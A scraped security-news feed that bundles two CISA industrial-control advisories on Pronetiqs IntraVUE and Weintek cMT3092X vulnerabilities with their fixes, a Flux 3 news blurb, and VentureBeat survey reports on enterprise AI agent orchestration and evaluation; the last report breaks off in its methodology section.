    v3 10 Pronetiqs Panduit IntraVUE Plaintext Storage of a Password, Unintended Proxy or Intermediary ('Confused Deputy'), Exposure of Sensitive System Information to an Unauthorized Control Sphere, Inadequate Encryption Strength

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing, Energy, Information Technology, Water and Wastewater
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Netherlands

    Vulnerabilities

    Expand All +

    CVE-2026-40430

    Pronetiqs IntraVUE Versions 3.2.1a14 and prior have a plaintext storage of a password vulnerability that could expose cleartext credentials through the API.

    View CVE Details

    Affected Products

    Panduit IntraVUE
    Vendor:
    Pronetiqs
    Product Version:
    Pronetiqs IntraVUE: <=3.2.1a14
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.

    Mitigation
    For further questions, please contact Pronetiqs at info@pronetiqs.com.
    mailto:info@pronetiqs.com

    Relevant CWE: CWE-256 Plaintext Storage of a Password

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

    CVE-2026-42933

    Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.

    View CVE Details

    Affected Products

    Panduit IntraVUE
    Vendor:
    Pronetiqs
    Product Version:
    Pronetiqs IntraVUE: <=3.2.1a14
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.

    Mitigation
    For further questions, please contact Pronetiqs at info@pronetiqs.com.
    mailto:info@pronetiqs.com

    Relevant CWE: CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 10 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    4.0 10 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

    CVE-2026-44955

    Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could allow for asset discovery by unauthenticated users.

    View CVE Details

    Affected Products

    Panduit IntraVUE
    Vendor:
    Pronetiqs
    Product Version:
    Pronetiqs IntraVUE: <=3.2.1a14
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.

    Mitigation
    For further questions, please contact Pronetiqs at info@pronetiqs.com.
    mailto:info@pronetiqs.com

    Relevant CWE: CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 5.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    4.0 6.9 MEDIUM CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

    CVE-2026-50044

    Pronetiqs IntraVUE versions 3.2.1a14 and prior have an inadequate encryption strength vulnerability which could allow an attacker to steal admin credentials via weak hash or a pass-the-hash attack.

    View CVE Details

    Affected Products

    Panduit IntraVUE
    Vendor:
    Pronetiqs
    Product Version:
    Pronetiqs IntraVUE: <=3.2.1a14
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.

    Mitigation
    For further questions, please contact Pronetiqs at info@pronetiqs.com.
    mailto:info@pronetiqs.com

    Relevant CWE: CWE-326 Inadequate Encryption Strength

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.8 MEDIUM CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
    4.0 7.6 HIGH CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

    CVE-2026-28698

    Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could expose the underlying host/share filesystem.

    View CVE Details

    Affected Products

    Panduit IntraVUE
    Vendor:
    Pronetiqs
    Product Version:
    Pronetiqs IntraVUE: <=3.2.1a14
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.

    Mitigation
    For further questions, please contact Pronetiqs at info@pronetiqs.com.
    mailto:info@pronetiqs.com

    Relevant CWE: CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.6 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    4.0 9.2 CRITICAL CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

    Acknowledgments

    • Phlebas of Lumintel reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.

    Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.

    Locate control system networks and remote devices behind firewalls and isolating them from business networks.

    When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    CISA also recommends users take the following measures to protect themselves from social engineering attacks:

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-23
    Date Revision Summary
    2026-07-23 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Weintek cMT3092X]]> https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/ https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/ Thu, 23 Jul 2026 20:16:14 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

    Summary

    Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.

    The following versions of Weintek cMT3092X are affected:

    • cMT3092X firmware <20210218 
    • EasyWeb <v2.1.20
    CVSS Vendor Equipment Vulnerabilities
    v3 8.8 Weintek Weintek cMT3092X Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management

    Background

    • Critical Infrastructure Sectors: Critical Manufacturing
    • Countries/Areas Deployed: Worldwide
    • Company Headquarters Location: Taiwan

    Vulnerabilities

    Expand All +

    CVE-2026-60134

    Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.

    View CVE Details

    Affected Products

    Weintek cMT3092X
    Vendor:
    Weintek
    Product Version:
    Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
    https://www.weintek.com/globalw/Support/Knowledge.aspx

    Mitigation
    Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
    https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

    Relevant CWE: CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-61892

    Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.

    View CVE Details

    Affected Products

    Weintek cMT3092X
    Vendor:
    Weintek
    Product Version:
    Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
    https://www.weintek.com/globalw/Support/Knowledge.aspx

    Mitigation
    Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
    https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

    Relevant CWE: CWE-732 Incorrect Permission Assignment for Critical Resource

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

    CVE-2026-61886

    Weintek cMT3092X HMI stores user account passwords in plaintext.

    View CVE Details

    Affected Products

    Weintek cMT3092X
    Vendor:
    Weintek
    Product Version:
    Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
    https://www.weintek.com/globalw/Support/Knowledge.aspx

    Mitigation
    Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
    https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

    Relevant CWE: CWE-256 Plaintext Storage of a Password

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    4.0 7.1 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

    CVE-2026-60135

    An attacker can modify data that should be restricted to read‑only access.

    View CVE Details

    Affected Products

    Weintek cMT3092X
    Vendor:
    Weintek
    Product Version:
    Weintek cMT3092X firmware: <20210218, Weintek EasyWeb: <v2.1.20
    Product Status:
    known_affected
    Remediations

    Vendor fix
    Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.
    https://www.weintek.com/globalw/Support/Knowledge.aspx

    Mitigation
    Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.
    https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf

    Relevant CWE: CWE-286 Incorrect User Management

    Metrics

    CVSS Version Base Score Base Severity Vector String
    3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
    4.0 7.1 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

    Acknowledgments

    • Vincenzo Giuseppe Colacino of Secoore reported these vulnerabilities to CISA

    Legal Notice and Terms of Use

    This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

    Recommended Practices

    CISA recommends users take the following measures to protect themselves from social engineering attacks:

    Practice principles of least privilege.

    Do not click web links or open attachments in unsolicited email messages.

    Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.

    Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.

    CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

    CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

    CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

    Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

    Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

    No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.

    Revision History

    • Initial Release Date: 2026-07-23
    Date Revision Summary
    2026-07-23 1 Initial Publication

    Legal Notice and Terms of Use

    ]]>         <![CDATA[Flux 3 generates videos with native audio up to 20 seconds long, a first for Black Forest Labs]]> https://tsecurity.de/de/3689925/ai-nachrichten/flux-3-generates-videos-with-native-audio-up-to-20-seconds-long-a-first-for-black-forest-labs/ https://tsecurity.de/de/3689925/ai-nachrichten/flux-3-generates-videos-with-native-audio-up-to-20-seconds-long-a-first-for-black-forest-labs/ Thu, 23 Jul 2026 20:07:30 +0200 🔧 AI Nachrichten tsecurity.de

    Black Forest Labs has released Flux 3, a multimodal foundation model that learns from images, video, and audio and can generate video with native sound for the first time. BFL's own tests put it just ahead of market leader Seedance 2.0, though independent results aren't yet available. The company ultimately wants to build a world model and is already testing Flux 3 on robotics tasks.

    The article Flux 3 generates videos with native audio up to 20 seconds long, a first for Black Forest Labs appeared first on The Decoder.

    ]]>         <![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]> https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/ Thu, 23 Jul 2026 19:19:45 +0200 📰 IT Nachrichten tsecurity.de Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.

    This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.

    The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.

    That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.

    By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).

    At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.

    Finding 1: Orchestration runs on model-provider platforms

    Anthropic’s Claude leads; open frameworks are marginal

    We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.

    A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.

    The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.

    Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.

    Finding 2: Model gravity drives platform selection

    The base model, not the tooling, decides the platform

    We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.

    Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.

    Finding 3: The job is reliable multi-step execution

    Enterprises just orchestration by whether it completes the work

    We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.

    Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.

    The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.

    Finding 4: Consolidate, productionize, and build in-house

    Three strategic moves are nearly tied for the year ahead

    We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.

    The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.

    Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist 

    The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.

    Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.

    Finding 6: Investment flows to workflow tooling

    Tooling and permissions lead the spend; monitoring trails

    We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.

    Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.

    Finding 7: The control plane will be hybrid — and lock-in is why

    Enterprises expect to split control between providers and their own layer

    We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.

    Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.

    The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.

    Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.

    Finding 8: The chatbot trap — most “agents” aren’t agents yet

    Enterprises admit most deployments are still chatbot wrappers

    We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.

    This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.

    Finding 9: Fiscal control is still reactive

    Only a minority can stop a runaway agent before the bill arrives

    Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.

    More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.

    It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.

    The bottom line: The layer is real; most of the agents aren't yet

    Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.

    But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.

    Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.

    ]]>         <![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]> https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/ https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/ Thu, 23 Jul 2026 19:19:44 +0200 📰 IT Nachrichten tsecurity.de Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.

    This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.

    The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.

    What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.

    Methodology

    VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability & Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.

